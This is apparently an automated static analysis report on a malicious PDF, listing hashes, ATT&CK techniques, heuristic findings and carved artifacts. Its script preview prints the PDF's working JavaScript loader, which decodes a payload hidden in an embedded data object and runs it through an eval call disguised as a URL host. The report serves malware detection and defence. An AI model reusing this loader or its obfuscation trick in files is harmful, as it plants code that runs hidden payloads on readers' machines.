Malicious PDF — malware analysis report

Static analysis result for SHA-256 e02a8c0da7a39c5c…

MALICIOUS

PDF

5.1 KB First seen: 2013-09-08
MD5: 96385e44b4f7dc75d710c3d04acb90fb SHA-1: 96e0f128f95d5f01c2cc572d24f7559212fff39c SHA-256: e02a8c0da7a39c5cb9214b1935aec9acba9471c57d6e7d98b9f0f961c5363345
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file exhibits suspicious characteristics, including embedded JavaScript and an embedded binary file. The presence of these elements strongly indicates an attempt to execute malicious code or download a secondary payload upon opening. The embedded JavaScript stream (javascript_obj0008_000.js) and the embedded binary file (embedded_file_obj0013.bin) are the primary indicators of this malicious intent. The document body content is not human-readable and appears to be malformed or encrypted.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108137 bytes
SHA-256: ac9830f930a2122d95abc62c45bb99cc2e2bf80a434e98c381636d85160aed82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
255 of 255 identifiers look randomly generated (e.g. 'ZvFsznGC93GKsYjp1ZvFsznGC93GKsYjp2ZvFszn') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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